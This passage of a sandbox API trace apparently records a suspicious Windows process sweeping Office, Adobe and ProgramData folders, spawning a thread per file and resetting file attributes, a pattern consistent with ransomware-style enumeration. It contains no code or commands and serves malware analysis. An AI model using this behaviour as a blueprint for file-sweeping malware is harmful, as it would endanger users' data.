BaseAddress=0x44a6d0) returned 1 Thread: id = 1331 os_tid = 0x1614 [0065.602] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2b5a8 [0065.602] wcscpy (in: _Dest=0x12e2b5a8, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0065.602] wcscat (in: _Dest=0x12e2b5a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0065.602] wcscat (in: _Dest=0x12e2b5a8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*" [0065.602] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0065.602] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6260 [0065.603] wcscmp (_String1=".", _String2=".") returned 0 [0065.603] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.603] wcscmp (_String1="..", _String2=".") returned 1 [0065.603] wcscmp (_String1="..", _String2="..") returned 0 [0065.603] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0065.603] wcscmp (_String1="cache.dat", _String2=".") returned 1 [0065.603] wcscmp (_String1="cache.dat", _String2="..") returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec6128 [0065.603] wcscpy (in: _Dest=0x5ec6128, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0065.603] wcscat (in: _Dest=0x5ec6128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0065.603] wcscat (in: _Dest=0x5ec6128, _Source="cache.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" Thread: id = 1332 os_tid = 0x1618 [0065.603] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat")) returned 0x2020 [0065.604] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat", dwFileAttributes=0x20) Thread: id = 1333 os_tid = 0x161c [0065.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418f50 [0065.605] wcscpy (in: _Dest=0x418f50, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive" [0065.605] wcscat (in: _Dest=0x418f50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\" [0065.605] wcscat (in: _Dest=0x418f50, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*" [0065.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431210 [0065.605] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6220 [0065.605] wcscmp (_String1=".", _String2=".") returned 0 [0065.605] FindNextFileW (in: hFindFile=0x4a6220, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.606] wcscmp (_String1="..", _String2=".") returned 1 [0065.606] wcscmp (_String1="..", _String2="..") returned 0 [0065.606] FindNextFileW (in: hFindFile=0x4a6220, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0065.606] FindClose (in: hFindFile=0x4a6220 | out: hFindFile=0x4a6220) returned 1 [0065.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431210) returned 1 [0065.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0065.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c080) returned 1 Thread: id = 1334 os_tid = 0x1620 [0065.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c080 [0065.607] wcscpy (in: _Dest=0x43c080, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue" [0065.607] wcscat (in: _Dest=0x43c080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\" [0065.607] wcscat (in: _Dest=0x43c080, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*" [0065.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431210 [0065.607] FindFirstFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*", lpFindFileData=0x431210) Thread: id = 1335 os_tid = 0x1624 [0065.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08398 [0065.607] wcscpy (in: _Dest=0x12e08398, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0065.607] wcscat (in: _Dest=0x12e08398, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0065.607] wcscat (in: _Dest=0x12e08398, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*" [0065.608] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e458 [0065.608] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x42e458) Thread: id = 1336 os_tid = 0x1628 [0065.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx")) Thread: id = 1337 os_tid = 0x162c [0065.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx")) Thread: id = 1338 os_tid = 0x1630 [0065.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx")) Thread: id = 1339 os_tid = 0x1634 [0065.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx")) Thread: id = 1340 os_tid = 0x1638 [0065.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt")) Thread: id = 1341 os_tid = 0x163c [0065.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt")) Thread: id = 1342 os_tid = 0x1640 [0065.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt")) Thread: id = 1343 os_tid = 0x1644 [0065.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt")) Thread: id = 1344 os_tid = 0x1648 [0065.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt")) Thread: id = 1345 os_tid = 0x164c [0065.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt")) Thread: id = 1346 os_tid = 0x1650 [0065.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt")) Thread: id = 1347 os_tid = 0x1654 [0065.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt")) Thread: id = 1348 os_tid = 0x1658 [0065.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt")) Thread: id = 1349 os_tid = 0x165c [0065.623] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\48b76449f3d5fefa1133aa805e420f0fca643651.crl")) returned 0x2020 [0065.624] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", dwFileAttributes=0x20) Thread: id = 1350 os_tid = 0x1660 [0065.624] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl")) returned 0x2020 [0065.624] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", dwFileAttributes=0x20) Thread: id = 1351 os_tid = 0x1664 [0065.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt")) Thread: id = 1352 os_tid = 0x1668 [0065.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx")) Thread: id = 1353 os_tid = 0x166c [0065.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx")) Thread: id = 1354 os_tid = 0x1670 [0065.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx")) Thread: id = 1355 os_tid = 0x1674 [0065.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx")) Thread: id = 1356 os_tid = 0x1678 [0065.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx")) Thread: id = 1357 os_tid = 0x167c [0065.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx")) Thread: id = 1358 os_tid = 0x1680 [0065.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx")) Thread: id = 1359 os_tid = 0x1684 [0065.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx")) Thread: id = 1360 os_tid = 0x1688 [0065.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx")) Thread: id = 1361 os_tid = 0x168c [0065.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx")) Thread: id = 1362 os_tid = 0x1690 [0065.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx")) Thread: id = 1363 os_tid = 0x1694 [0065.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx")) Thread: id = 1364 os_tid = 0x1698 [0065.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx")) Thread: id = 1365 os_tid = 0x169c [0065.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx")) Thread: id = 1366 os_tid = 0x16a0 [0065.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx")) Thread: id = 1367 os_tid = 0x16ac Thread: id = 1369 os_tid = 0x16b4 [0065.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08f98 [0065.772] wcscpy (in: _Dest=0x12e08f98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0065.773] wcscat (in: _Dest=0x12e08f98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0065.773] wcscat (in: _Dest=0x12e08f98, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*" [0065.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42eb90 [0065.773] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x42eb90) Thread: id = 1370 os_tid = 0x16b8 [0065.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) Thread: id = 1371 os_tid = 0x16bc [0065.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) Thread: id = 1372 os_tid = 0x16c0 [0065.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) Thread: id = 1373 os_tid = 0x16c4 [0065.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) Thread: id = 1374 os_tid = 0x16c8 [0065.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) Thread: id = 1375 os_tid = 0x16cc [0065.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) Thread: id = 1376 os_tid = 0x16d0 [0065.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) Thread: id = 1377 os_tid = 0x16d4 [0065.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) Thread: id = 1378 os_tid = 0x16d8 [0065.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) Thread: id = 1379 os_tid = 0x16dc [0065.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) Thread: id = 1380 os_tid = 0x16e0 [0065.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) Thread: id = 1381 os_tid = 0x16e4 [0065.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) Thread: id = 1382 os_tid = 0x16e8 [0065.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) Thread: id = 1383 os_tid = 0x16ec [0065.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) Thread: id = 1384 os_tid = 0x16f0 [0065.792] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444f00 [0065.792] wcscpy (in: _Dest=0x444f00, _Source="C:\\Users\\All Users\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat" [0065.792] wcscat (in: _Dest=0x444f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\" [0065.792] wcscat (in: _Dest=0x444f00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\*") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\*" [0065.792] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dd20 [0065.792] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*", lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409be8 [0065.792] wcscmp (_String1=".", _String2=".") returned 0 [0065.793] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.793] wcscmp (_String1="..", _String2=".") returned 1 [0065.793] wcscmp (_String1="..", _String2="..") returned 0 [0065.793] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0065.793] wcscmp (_String1="10.0", _String2=".") returned 1 [0065.793] wcscmp (_String1="10.0", _String2="..") returned 1 [0065.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x414990 [0065.793] wcscpy (in: _Dest=0x414990, _Source="C:\\Users\\All Users\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat" [0065.793] wcscat (in: _Dest=0x414990, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\" [0065.793] wcscat (in: _Dest=0x414990, _Source="10.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" [0065.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe4 [0065.995] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0065.995] FindClose (in: hFindFile=0x409be8 | out: hFindFile=0x409be8) returned 1 [0065.995] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dd20) returned 1 [0065.995] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444f00) returned 1 [0065.995] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445220) returned 1 Thread: id = 1385 os_tid = 0x16f4 [0065.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x4023c0 [0065.793] wcscpy (in: _Dest=0x4023c0, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0065.793] wcscat (in: _Dest=0x4023c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0065.793] wcscat (in: _Dest=0x4023c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\*" [0065.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x428208 [0065.793] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", 